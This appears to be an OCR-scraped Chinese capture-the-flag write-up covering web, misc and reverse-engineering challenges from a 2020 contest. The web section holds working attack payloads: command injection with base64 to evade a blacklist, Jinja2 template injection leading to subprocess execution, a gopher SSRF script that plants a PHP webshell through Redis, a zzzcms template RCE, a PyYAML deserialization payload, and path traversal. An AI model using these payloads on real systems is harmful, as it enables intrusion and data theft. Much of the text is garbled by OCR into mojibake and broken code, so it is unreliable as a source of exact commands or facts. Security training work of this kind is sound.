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XERFE: java F11%3c1%3cl
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Result: " rel="stylesheet"> |]|&]|
|\\$|python|sh|nc|tac|rev[moreltailﬂindexlphp|head|nl|tail|Iess|cat|ruby|per||ba’-'-_!_rrn|!cp| nv\*I\
0/i", $ip)){ die(" -, Timeling Sec

1%09||find%09/%09-name %09 echo0%09ZmxhKg==|base64 %09-d"
$flag
Result:/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags

/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags
/sys/devices/virtual/net/dummy0/flags /sys/devices/virtual/net/lo/flags

/etc/ findflag/flag.txt éproc/sys/kernel!sched_domain!cpuOfdomainC-ff_la,f’;s line Car
/proc/sys/kernel/sched domain/cpu1/domain0/flags A2 Himngling oec

1%09| | ca\t%09/"echo%09L2V0Yy8uZmiuZGZsYWcvZmxhZy50eHQ=|base64%09-d"


https://blog.csdn.net/weixin_35886636
https://so.csdn.net/so/search/s.do?q=java+%25E4%25B8%25AD1%25253c1%25253c1&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_35886636/article/details/114665189
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_35886636&utm_content=114665189
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Result:flag{caafaf2a-cbdd-4a08-93f0-51310bad0f0d}

Guessing Robot

I'm good at guessing numbers!

What's your name?

Name

NNl cline Sec

* flaskbot
B54F

182



29:999999998.137 is too small
30:999999999.069 is too small
31:999999999.534 is too small
32:999999999.767 is too small
33:999999999.884 is too small
34:999999999.942 is too small
35:999999999.971 is too small
36:999999999.985 is too small
37:999999999.993 is too small
38:999999999.996 is too small
39:999999999.998 is too small
40:999999999.999 is too small
41:1000000000.0 is too small
42:1000000000.0 is too small
43:1000000000.0 is too small
44:1000000000.0 is too small
45:1000000000.0 is too small
46:1000000000.0 is too small
47:1000000000.0 is too small
48:1000000000.0 is too small
49:1000000000.0 is too small
50:1000000000.0 is too small
51:1000000000.0 is too small

Wow! asd win. - Timeling Sec
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51:1000000000.0 is too small
Wow! asd win. .+ Timeling S
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50:1000000000.0 is too small
51:1000000000.0 is too small
Wow! 2131 win.
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https://blog.csdn.net/SopRomeo/article/details/108985950



RIFZEANK

\ 722 | eci-2zechifoewh08bt6év 1jm.cloudecil.ichungiu.com:8888/guess * @ B o
pEntinEe.. () DuckDuckGo —.. web ZiE bisMZ=E>] msic subprocess.Popen 11 A v x BRI F o

SeE e BT T T T I L S LU I T = e L ]

Context >, <class 'decimal. WorkRep'>, <class 'decimal. Log10Memoize">, <type " ast AST">, <class "ast.NodeVisitor'>, <cla:
enStreamlterator'>, <class ‘jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class Yjinja2.
ient.Template'>, <class 'jinjaz.enuironmentTempIateModule'>, <class 'jinja2.environment.TempIateExpression’>, <class 'jinja
aseLoader'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'l
BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manay
rnal. Missing'>, <class 'werkzeug. internal. DictAccessorProperty'>, <class ‘werkzeug.utils.HTMLBuilder'>, <class ‘werkzeug.e
oll'>, <class 'click. compat. FixupStream'>, <class 'click. compat. AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.
FlushWrapper'>, <class ‘click.parser.Option'>, <class 'click.parser.Argument’'>, <class ‘click.parser.ParsingState'>, <class ‘clicl
mType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class "cli
ng.WSGIRequestHandler'>, <class 'werkzeug.serving. SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werl
structures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.Viewlt:
g.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.|IfRa
structures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.Lazylmporter'>, <class 'calendar.Cale
pers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth WWWAutl
Closinglterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi. RangeWrapper'>, <class 'werkzeug.formpars
parser.MultiPartParser'>, <class 'werkzeug.wrappers.base request.BaseRequest'>, <class 'werkzeug.wrappers.base response.
pers.common_descriptors.CommonRequestDescriptorsMixin'>, <class ‘werkzeug.wrappers.common_descriptors.CommonRes
pers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORS|
pers.cors.CORSResponseMixin'>, <class ‘werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>,
pers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin’'>, <class 'werkzeug.wrappers.respor
pers.response.ResponseStreamMixin’>, <class 'werkzeug.test. TestCookieHeaders'>, <class ‘werkzeug.test. TestCookieRespo
Zlient'>, <class 'uuid.UUID'>, <type 'CArgObJect'> <type ' ctypes.CThunkObject'>, <type ' ctypes. CData >, <type ' ctypes.C
<class 'ctypes.LibraryLoader'>, <class 'subpr )en’' >, <class 'itsdangerous. json. Compact). **!"f,| gglas3isdaagerou
gner.Signer'>, <class 'itsdangerous.serializer. Serializer =7 <c|ass 'itsdangerous.url_safe. URLSafeSerlallzeerxln >, <class 'flask.

Fmmal's calacrs humarlrmmaiim lasal |l mecalCianls's  calacrs humrb=aiim lasal | acalbflamamar'~  calacres urmelbrsaiim lasal |l nf—-\lnvnuu ~ sl

MAEZFEIEME, BRI

import requestsimport base64import timeimport htmldata={'num"'nan'theader={'User-Agent". 'Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198
Safari/537.36'}for i in range(0,300):time.sleep(0.06)url="http://eci-
2zechif0ewh08bt6v1jm.cloudecii.ichungiu.com:8888/guess'payload="
{{\'\._class__. mro__[2]. subclasses__ ()[%s]}}" % ipayload =
base64.b64encode(bytes(payload,encoding='utf-8'))cookie={'user".str(payload,encoding="utf-8')}r =
requests.post(url,headers=header,data=data,cookies=cookie)text=html.unescape(r.text)print(text)if
"subprocess.Popen" in text:print(*
\n\n")print(html.unescape(r.text))print(i)break

BE#¥RCE
{{"._class__. mro_ [2].__subclasses_()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

KIiflag

2. I VUVUUUYUULY 1D DY Snnian

44:1000000000.0 is too small
45:1000000000.0 is too small
46:1000000000.0 is too small
47:1000000000.0 is too small
48:1000000000.0 is too small
49:1000000000.0 is too small
50:1000000000.0 is too small /

51:1000000000.0 is too small lmeline Sec
Wow! app bin dev etc home lib media mnt opt proc root run sbin srv super_secret flag.txt sys tmp usr var win.

W T flag, FRFPHERSE

{{"._class__. mro__[2].__subclasses__()[258]('cat /super_secret_fla'+'g.txt',shell=True,stdout=-

1).communicate()[0].strip()}}
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44:1000000000.0 is too small

45:1000000000.0 is too small

46:1000000000.0 is too small

47:1000000000.0 is too small

48:1000000000.0 is too small

49:1000000000.0 is too small

50:1000000000.0 is too small e s li =
51:1000000000.0 is too small = Timeline Sec
Wow! flag, o= I B EETYin.

% doyouknowssrf
https://my.oschina.net/u/4593189/blog/4646830
Bypass SSRF

http://eci-2zefxwpklOkyOgxw9jp1.cloudeci1.ichunqgiu.com/?url=http://root:root@127.0.0.1:5000@baidu.com/?
url=http%253A%252F %252F127.0.0.1%253A6379%252F _*1%250D%250A%25248%250D%250Aflushall%25!
A BRAT A M redis [ R4S -

L PR TT—| r
import urllibprotocol="gopher://"ip="127.0.0.1"port="6379"shell="\n\n<?php eval($_GET[\"cmd\"]);?
>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace("

" "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if
passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def
redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for xin
redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn
cmdif __name__=="__main__":for xin cmd:payload += urllib.quote(redis_format(x))print payload

A fishell.php/a, #AT a4 3k B flag

A FEE | eci-2zedi cloudecil.ichungiu.com/shell php?emd=system "cat%20/flag"); # rOmwmO ad e~ » 0
Bier BN Besn Bro BN Bw: Bod BN S5 QN Qs QFN QUNIEN QERCTFpiot QEFE PNE QAE QR O BTEE B H¥2020 B docker B ResE

REDIS00074 redis-ver 3.2.6€ redis-bits @& ctimePP0P_€ used-memt’ €9 € flaglibaadlec-Teld-48c0-Bad8-2eb35adbc2f4) H€ stOWHH

% easygogogo

E3@AE, KINGEEEEREXM, EIFAEN, HEEARXHELAFASES, HAHERREFECcookie RH A4
T

| ZRINWIWOWIyMTQ5Zjc2MTIjY2ExNTVjOG)kNmQ4ZWU 1Ly4uly4ulydulydulydulyduly4ul2ZsYWcBIDUZYTg5ZTg4ZmVhMzBkYmU4NW)jYzFIOWUxOTESODg2AA==

" N M

Cy- Usersy- Username Password Filename Sign yy- admin adminD./uploads/4e5b09b2149f7619ccal55c8bd6d8ee5/../../ ../ ../ ../ ..]../flag
53a89e88fea30dbe85bcc1e9e1919886

T

=, Timeline Sec




FRE=RK, BcookiefEE A, HERIAUHNT, FREINEGNEEFHcookietF, FRESE - NEHRE
B ... .. flag fcookie, FEE RN A, BHcookie, MINER LRI, &EFiflag

equest Response T

. .

\n  Actions v pretty [[EN0 Render \n  Actions v

POST /upload HTTP/1.1 1 HTTP/1.1 200 OK

Host: eci-2zeiw8plaxfczd4altgx.cloudecil.ichungiu.com 2 Date: Sat, 21 NWov 2020 14:34:16 GMT

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.15; 3 Content-Type: text/plain; charset=utf-8

rv:83.0) Gecko/20100101 Firefox/83.0 4 Content-Length: 170

Accept: 5 Connection: close
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp, 6 Set-Cookie: cookie=

*/*:9=0.8 Q/+BAWEBBVVzZZXJzAf+CAAEEAQhVCc2VybmFt ZQEMAAEIUGFzc 3dvemQBDAABCEZpb
Accept-Language: GVuYW11AQwAAQRTaWduAQwARARBS /4 IBEBWFkbWluAQVhZGlpbgFELi91cGXvYWRzLz2
zh-CN,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-US;g=0.3,en;g=0.2 RINWIWOWIYMTQSZ jc2MT1jY2EXNTVIOGIkNmQ4ZWU1LyduLy4ulyduLy4uLy4uLy4d
Accept-Encoding: gzip, deflate uLy4uL2ZsYWcBIDUzYTgS5ZTg4ZmVhMzBkYmU4NWT j¥zF 10WUxOTESODg2AA==;
Content-Type: multipart/form-data; Expires=Sun, 21 Nov 2021 14:34:16 GMT

b dary 99953571112784325162155226657 7 X-Via-JSL: elfceld,-

Content-Length: 277 8 X-Cache: bypass

Origin: http://eci-2zeiwBplaxfczd4altgx.cloudecil.ichungiu.com 9

Connection: close 10 {admin admin

Referer: ./uploads/4e5b09b2149£7619ccal55c8bdéd8ees/ ../ ../ ../ . /.. /.. /. /E
http://eci-2zeiwd8plaxfeczd4altgx.cloudecil. ichungiu.com/upload lag

Cookie: UM_distinctid= 53a89e88feal0dbe85bccledel919886} FEMIN! MHIBIER../. /.. /.. /../
174075ad7d9448-0183b2760be3858-4b5a67-1aeaal-174075ad7dal7d; oof o/ flag

Hm_lvt_2d0601bd28de7d49818249c£35d95943= H

1604890045,1604890144,1605254394,1605925655; chkphone=
acWxNpxhQpDiAchhNuSnEqyiQuDIO0000; ci_session=
772b0931a6c01387cb17283£5c46dblb23c73beé;
Hm_lpvt_2d0601bd28de7d49818249c£35d95943=1605968322; __ jsluid_h=
7272e6daB72155181d5e16876537c57e; cookie=

Q/+BAWEBBVVz ZXJzAf+CAAEEAQhVc2VybmFt ZQEMARETUGF zc 3dvemQBDAABCEZpb
GVu¥YW11AQwAAQRTaWduAQwARAARR/ 4 IBBWFkbWluAQVhZGlpbgh=
Upgrade-Insecure-Requests: 1

99953571112784325162155226657
Content-Disposition: form-data; name="uploadfile"”; filename="
solosdosdsaleslvad ool Elng”

Content-Type: text/plain

flag{4c5a62b78£32d77d2ed51ecdd8d27773} [~ _rjff‘f’|jflf' e
99953571112784325162155226657-- - LR — e
—— — - - -
o==
Request Response
[0S0 Raw Render \n Actions v
1 GET /show HTTP/1.1 B A
2 Host: eci-2zeSa6ncOglnmz90scbd.cloudecil.ichungiu.com 9
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.15; 10
rv:83.0) Gecko/20100101 Firefox/83.0 11
4 Accept: 12
text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp, 13
*/%;q=0.8 14
5 Accept-Language: 15 t="width=device-width, initial-scale=1, shrink-to-fit=no">
zh-CN,zh;q=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-US;g=0.3,en;g=0.2 16:"/staties/bootstrap.min.css">
6 Accept-Encoding: gzip, deflate 17
7 Connection: close
8 Referer: http://eci-2zeS5aénclglnmz90schbd.cloudecil. ichungiu.com/
9 Cookie: UM_distinetid= 18
174075ad7d9448-0183b2760be3858-4b5a67-1acaal-174075ad7dal7d; 19
Hm_lvt_ 2d0601bd28de7d49818249c£35d495943= 20
1604890045,1604890144,1605254394,1605925655; chkphone= 21 expand-lg navbar-light bg-light">
acWxNpxhQpDiAchhNuSnEqyiQuDI00000; ci_session= 22 href="./">FPLifi</a>
772b0931a6c01387cb17283£5c46dblb23c73be6; 23.ggler” type="button" data-toggle="collapse" data-target="#navbar
Hm_lpvt_2d0601bd28de7d49818249c£35d95943=1605968322; _ jsluid_h= | 24 pdown" aria-expanded="false" aria-label="Toggle navigation">
5370c2db007eb50df841bdadbd%afd04;cookie= || 25 )ggler-icon"></span>
Q/+BAWEBBVVzZXJzAf +CAAEEAQhVC2VybmFt ZQEMAAETUGFzc 3dvemQBDAABCEZpb | 26
GVu¥YW11AQwAAQRTaWduhQwWARABS /4 IBBWFkbWluAQVhZGlpbgFELi91cGxvYWRzLZ | 27
RINWIWOWIYMTQSZ jc2MT1jY2EXNTViOGIkNmQ4 ZWU1Ly4uLy4uLly4uLyduLlydulyd | 28 ‘bar-collapse” id="navbarDropdown">
uLy4uL2ZsYWcBIDUzYTg5ZTg4 ZmVhMzBkYmU4NWI j¥YzF 10WUXOTES0Dg2AR== 29 mr-auto">
10 Upgrade-Insecure-Requests: 1 30 >
11 " href=",/">index</a>
12
31 >
:" href="./upload">upload</a>
32
i3
34
35
36
37 base6d, ImxhZ 3swMWI3ZIZjMCOyEZmRKLTQyN2MtOTIxOCOXNWMONDQSZ jUZzODRIC
is
i9
40 -
41 .~ T e 1me T
42 S Y rJffJ,|Jfl, B Hor Y “:
«7 R - T
RS Ll [ Mcaarrn N marehae  HVERS (el [ [caarrn N matehae
* easyzzz

BET—F, ROAREHLRA, R T Mii/admins39, RIS RBHERE, WERITENNA, K8
ST getshell M 7 8 b T

S#E L F: hitps://www.anquanke.com/post/id/173991, 7EX &+ 3/searchix AN O FErce, TR T —
T, RIBifggbanT, Hiksd, EZMERPRI] T —MEMRP TR, #1750 {cutpic:}



BIhPAT A4, payloadin F:

{i{cutpic:}f:(print(cat /flag))K{end i{cutpic:}f}

POST /search/ HTTP/1.1

Host: eci-2zead2yle7kpyr7omeii.cloudecil.ichungiu.com
Content-Length: 60

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://eci-2zead2yle7kpyr7omeii.cloudecil.ichungiu.com
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9, image/avif,
image/webp, image/apng,*/*;g=0.8,application/signed-exchange;v=b3;
q=0.9

Referer:
http://eci-2zead2yleTkpyriomeii.cloudecil.ichungiu.com/search/
hAccept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;gq=0.8

Cookie: Hm_lvt_ 2d0601bd28de7d49818249c£35d95943=
1603378435,1603378478,1605176178; UM_distinctid=
1734368alalal5-0e3e9%daccT455a-31617402-1aeaal-1734368ala2ded;
__jsluid h=fbcB8d830861767abdb3lacke8d5e39db; PHPSESSID=
acabB56dl9edac010987a344f4cded3d

Connection: close

[-- I - T P R N

o

o
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o

keys={i{cutpic:}f:(print( cat%20/flag”))}{end%20i{cutpic:}f}

1 HTTP/1.1 200 OK

2 Date: Sun, 22 Nov 2020 10:17:33 GMT

3 Content-Type: text/html; charset=utf-8

4 Content-Length: 6161

5 Connection: close

6 Vary: Accept-Encoding

7 Expires: Thu, 19 Nov 1981 08:52:00 GMT

8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache

10 X-UA-Compatible: IE=edge,chrome=1

Set-Cookie: zzz254_ keys=%17Bit7Bcutpic%3A%7Df%3A%28printi28460ca
Vary: Accept-Encoding
X-Via-JSL: elfceld,-

15
16| flag{5bébflal-elae-40a9-ac75-465791513a£5}
17|flag{5b6bf3al-elae-40a9-ac75-465791513af5}
18|flag{5h6bf3al-elae-40a9-ac75-465791513af5}
19|<!doctype html>
20 bedremd-
21 <head>
22 <meta charset="utf-8">
23 <title>
*42iE [] BFRER-2220Ms phphRFRIGRET
</title>
24 <meta name="Keywords" content=""
25 <meta name="Description"” content="">
26 <meta name="author" content="http://www.zzzcms.com" />
27 <gseript src="ftemplatefpc!angjf'j;ﬂ}ﬁpg§>qqub.ﬁiﬁJqs" ty
</script> Tt . i e i
28 <link rel="stylesheet" type="text/css" href="/template/pc/c
29 <anrint ares="/temnlate/nc/en2016/48/ima. 98" tvne="text/dava

% profile system

MR K IAFAE H R 58

GET /uploads/../app.py HTTF/1.1

Host: eci-2ze4i20uldlx2d0108ta.cloudecil.ichungiu.com:8888
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67
Safari/537.36

Accept:

text/html,application/xhtml+xml, application/xml;qg=0.9,image/avif,
image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
g=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Cookie: Hm_lwvt_2d0601bd28de7d49818249c£35d95943=
1603378435,1603378478,1605176178; UM_distinctid=
1734368alalal5-0ele%dacc7d455a-31617402-1acaal-1734368alaz2ded;
__jsluid_h=86df356843c263210d266ebab886f06c; session=
eyJweml2aWwxl2GdlIjoiZ3V1e30if0. XTpd4NQ.WCMlolXsxZyT709yEXZvESAHTMEC
Connection: close

BRI Z A yamIb IR, SEEZENT .

https://github.com/yaml/pyyaml/issues/420
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18
19
20
21
22
23

24
25
26
27
28
29
30
31
32
i3
34
35
36
37

20

HTTP/1.1 200 OK

Date: Sun, 22 Nov 2020 14:40:21 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 2473

Connection: close

Last-Modified: Sat, 21 Nov 2020 01:10:27 GMT
Cache-Control: public, max-age=43200
Expires: Mon, 23 Nov 2020 02:40:21 GMT
ETag: "1605921027.0-2473-1798637665"
X-Via-JSL: elfceld,-

X-Cache: bypass

from flask import Flask, render template, request, flash, redire
import os

import re

from hashlib import mdS

import yaml

app = Flask(__name_ )
app.config[ 'UPLOAD_ FOLDER'] os.path.join(os.curdir, "uploads”)
app.config['SECRET KEY'] = 'Thls_is_A Sup333er_slcret_klyyyyy'
ALLOWED_EXTENSIONS = {

'yaml® , "yml'
H

def allowed file(filename):

return in filename and filename.rsplit('.', 1)[1].lower()
Bapp.route(" /")

def index():

session[ 'priviledge’] 'guest’

return render_template("home.html")

@app.route(” /upload”, methods=["POST"])
def upload():

file request.files["file"]
if file.filename == "':
flash( 'No selected file')
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python/object/new:tuple- ! python/object/new:map- !!python/name:eval- |
"WERAXEAX69\X6d\X7 0\X6f\X7 2\X7 4 \X5A\X5AX28\x22\x6f\X7 3\x22\x29\x2e\X7 3\X7 9\X7 3\X7 4\X65\x6 d\x28\x22\x2f\x7 2\x¢

i 1] 3

Ao, B F i cookieidk A\ H W &4

if session['priviledge'] =="elite' and os.path.isfile(realpath):

s fhis—TF, B0, #iicookie, B Auploads/H® T, EZlflag

ichungiu.com

flag{52858174-5da5-455a-904c-6935453bc2d0}

Misc
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base64: ZmxhZ3txcVIncm91cF84MjY 1NjYwNDB9
fif 2% B #5flag{qq_group_826566040}

Y XiXixi

MREARENAEWNT: (AT AwinhexB#E R

)

# li.pyimport structfrom xixi import FAT 32Parserfrom xixixi import Padding, picDepartListdef
EncodePieces():global clusterListres = [|[Range = len(picDepartList) # 58# GetRandomClusterList(n) -
Generate a random cluster list with length nclusterList = GetRandomClusterList(Range)for i in range(Range):if
i 1= Range - 1:newCRC = struct.pack("

# lixi.pyimport structclass FAT32Parser(object):def __init__(self, vhdFileName):with open(vhdFileName, 'rb’)
as f:self.diskData = f.read()self. DBR_off = self. GetDBRoff()self.newData = " join(self.diskData)def
GetDBRoff(self):DPT _off = Ox1BEtarget = self.diskData[DPT_off+8:DPT _off+12]DBR_sector off, =
struct.unpack("

DU, ATEL78H

lixi.py # #9EFAT32Parser, FJ LIXI i #1T— R IERIE . li.py B AERNS XAF# TP LA 2, FFH B o
B T8GRI, B T —BRILARBEWES, BRI AT T 20 T L2 :
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U BERBE GBI, BN FNRIEHIT IR, ABE/EIGE T —RILIES.

# -*- coding: utf-8 -*# @Project: Hello Python!# @File : exp# @Author : TrOjAn # @Date : 2020-11-22import
structimport binasciifrom xixi import FAT32Parserdef read(n):global keybinary = b"for i in vhd.read(n):binary
+= (i M (key & OxFE)).to_bytes(length=1, byteorder="big’, signed=False)return binaryFAT =
FAT32Parser("new.vhd")vhd = open("new.vhd", "rb")vhd.seek(0x27bae00) # &= {7 & # + & A1 Eflag =
open("flag.png"”, "wb")flag.write(vhd.read(8)) # S Apng=tkey = Owhile True:d = read(8)length, cType =
struct.unpack(">14s", d)print(length, cType) # length % #(# K /&, cType Ky##;H# 3 Hdata = read(length)CRC
= struct.unpack(">1", read(4))[0]print(CRC)rCRC = binascii.crc32(cType + data) & Oxffifffiorint(rCRC)rDATA =
struct.pack(">1", length) + cType + data + struct.pack(">1", rCRC)flag.write(rDATA)if CRC != rCRC: # CRC#
RHIIDAT##4b_endian = struct.pack(">1", CRC)clusterList = struct.unpack("
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Bl i ic 1 B HID41E 20 DO K AT fif [&

Cl)ffset O 1 2 3 4 5 6 7 8 9 10 11 12 13 14
00000000 52 61 72 21 1A 07 00 CF 90 73 00 r“'O rOD 00 00
00000032 CO 59 00 02 3C 7D E9 D4 CE 9A 86 50 1D 33 08
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wbStego4.3open

FEnter Password

SteP Flease enter the password used for
encrypting the encoded data.

If there was no encryption used before
encoding, leave the input field empty.

—
Help
Settings
Elowchart - Mode . <«Back rienhnue-2>

g T —#4 iflag.txt £Ffflag
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23 F sfile& — Fdecode_itH)2E7H

$ file /home/homelander/Desktop/decode_it

,n‘home,n‘homelander!l)esktop!decude it: Standard MIDI data f‘Forrl% Timalipg Setc
racks at 1/2880

R Y2 FFHERIMIi BIIRIAE, 1ERAGE LT H B HIEA-FAZau, FAEFM YRS — I ERHEE, i
B4 I, HHRIER R EHE.

FEHEvelatoX A HFEiE 5, X el 5 BRI AriEH S/ 4, FLUEeME— FFH X
B EHE T HPpiE#, =iddiEdecode it, HEEH

JRT41E, E{rdecode it.exe, M iZEword kgt E G

\Welato 0_1\decode it.exe” % Timeline Sec
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EHAES # X filkey 7ELEME# 73 Fflag

AESHNEESL: ECB v HIE: | zeropadding v|m:|l28ﬁv S| 9219232322 WiEE:| viRfEE, echiEtl Wil mse64v| ST | gb2312RES (EHE) w
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.text:000056211E5D0096 rdi OQEBh
loc_56211E5D50C6
byte ptr [rdi+1],
loc_56211E5D50C6
byte ptr [rdi+2],
loc_56211E5D50C6
byte ptr [rdi+3],
loc_56211E5D50C6

.text:000056211E5D00BD byte ptr [rdi+4],
loc_56211E5D50C6
byte ptr [rdi+5],
loc_56211E5D50C6
byte ptr [rdi+6],
loc_56211E5D50C6
byte ptr [rdi+7],
loc_56211E5D50C6

byte ptr [rdi+ %b1ﬂﬂeﬁne5ec

# 1234567890abcdefghijklmnopqrstuv# unsigned char ida_chars|] =# {# OxE9, OxEA, OxEB, 0xEC, 0xED, 1-
5# OXEE, OxEF, OxFO, OxF1, OXES8, 6-0# 0x19, Ox1A, 0x1B, 0x1C, 0x1D, a-e# Ox1E, Ox1F, 0x20, 0x21, 0x22, f-
f# 0x23, 0x24, 0x25, 0x26, 0x27, k-o# 0x28, 0x29, 0x2A, 0x2B, 0x2C, p-t# 0x2D, Ox2E u-vit };# cmpcode =
Oxeb 0xf1 0x19 Oxe8 Ox1e Ox1e Oxf0O Oxec Oxef Ox1e# 0xe9 OxTe Oxec Oxec Oxe8 Oxec 0x19 0x19 Oxee Ox1b#
Oxef Oxef Oxec Oxea Ox1c Oxea Oxe8 Oxeb Oxee Oxeb Ox1d Oxflkey =
[Oxeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec, Oxef,0x 1e,0xe9,0x 1e,Oxec, Oxec, 0xe8,0xec, 0x19,0x19,0xee, 0x1b, 0
= flag{for i in range(len(key)).if Oxe8<=key|[i]<=0xf1:flag += chr(key][i] - 184)if Ox19<=key[i]<=(0x19+26).flag
+= chr(key[i] + 72)print(flag+})# flag{39a0ff847f1f4404aabc7742d20363e

(L k

python3 -u "/Volumes/Data/CTF/mypwn/xyb2020/rel/exp.py"
@b Timeline Sec

flag{39a0ff847f1f4404aa6c7742d20363e9}

sapk1
JEB#TFapk, B LEZFE/FEEE ) Enative/Z, (HEZEZ A 11 2check k£ 1Zcheck &4

protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(Ox7F09001C); // layout:activity_main

this.bt_check = (Button)this.findViewById(@x7F@7@027); // id:check

this.et_input = (EditText)this.findViewById(@x7F@70072); // id:show

this.bt_check.setOnClickListener(new View.OnClickListener() {
@Override // android.view.View$OnClickListener

public void onClick(View arg3) {
if(MainActivity.this.check(MainActivity.this.et_input.getText().toString())) {

Toast.makeText(MainActivity.this, MainActivity.this.getString(@ex7FeBee2D), ©).show(); // string
return;
}
Toast.makeText(MainActivity.this, MainActivity.this.getString(@x7F@Be@2E), @).show(); // string:str
} : i
1 i [lrneline Sec



private native boolean check(String argl) {

}

public native void checkl1() {

} < Tirnzlina Sae

IDA#T7Fso, B LI XHFE/7 EH # A checkl 4

int Java com_test third MainActivity checkl()

{

Function name Segn
. text

1

2

3| double vi; // [sp+@h] [bp-88h]

4| char v2; // [sp+8h] [bp-8@h]

5/ int v3; // [sp+1eh] [bp-78h]

6| int va; // [sp+14ah] [bp-74h]

7| char vs; // [sp+18h] [bp-76h]

3| _BYTE we[3]; // [sp+19h] [bp-6Fh]
9| char v7; // [sp+74h] [bp-14h]

1@| int v8; // [sp+7Ch] [bp-Ch]

11

12| _aeabi memclr((int)ve, @x5B);
13| vs = @;

14 v4 = 9X8B493B66;

15 v3 = @x11C77492;

16| v2 = 83

17| vl = *(double *)"666C6167";
18| encryt((int)&v7, (int)&vi, (int)&v3);
19| return stack chk guard - v3;

< Timelina Sac

jiicheck & #t/4812JNI_Onload #registerNatives & $7E M, 7T LI [ 4576 262 () &

int _ fastcall INI_OnLoad(JINIEnv *al)

{

Function name Segn

[Z]ﬂj . tex

int result; // ro
INIEnv *v2; // [sp+@h] [bp-18h]
int v3; // [sp+4h] [bp-14h]

if ( I((int (*)(void))(*a1)->FindClass)() )
{

sub_A892E418((int)v2); |
10 ((void (*)(void))(*v2)->Registernatives)();
11
12| Fesult = _stack _chk_guard - v3;
13| if ( _stack chk guard == v3 )
14 result = 65542;
15| return result;
16}

1
2
3
4
5
6
7
8
9

-~

& Tirneline Sec

R I IR |

text:A892E494 LDR.W R6, [R2,#0x35C]

text:A892E498 LDR R2, =(off AS93E708 - OXAS892EA9E)
text:AS92E49A ADD R2, PC ; off A893E7ps

text:A892E49C BLX R6 7 Timeline Sec
text:AS92EA9E -



.data.rel.ro:A893E708 off A893E708 DCD aCheck
.data.rel.ro:A893E708

.data.rel.ro:A893E708 "check"
.data.rel.ro:A893E70C DCD aljavalLangStrin "(Ljava/lang/String;)z"
.data.rel.ro:A893E710 DCD check+1 L Timeline Sac
.data.rel.ro:A893E714 EXPORT _ZTvStobad alloc

DATA XREF: JNI OnLoad+36tTo
.text:off A892E4BCTo

[ I

checkiF £ £ Z#E 41 F :

vl = 9;
input = ((int (%) (void))(*al)->GetStringUTFChars)();
if ( get len(input) == 22 )

{
vl = 9;
sub_A892D7E8((int)&key, input, @, 4);
if ( *(_BYTE *)(input + 4) == "{" )
{

sub_A892D7E8((int)&v15, input, 5, 21);
v3 = (char *)malloc(8u);
*((_DWORD *)v3 + 1) = 8;
*(_DWORD *)v3 = @;
if ( sting_to hex((int)&vis, (int)v3, 8) I= -1 )
{
vad = (void *)operator new(1lu);
strcpy(&dest, v3);
vs = -1;
do
++V5;
while ( v5 < get len((int)&dest) );
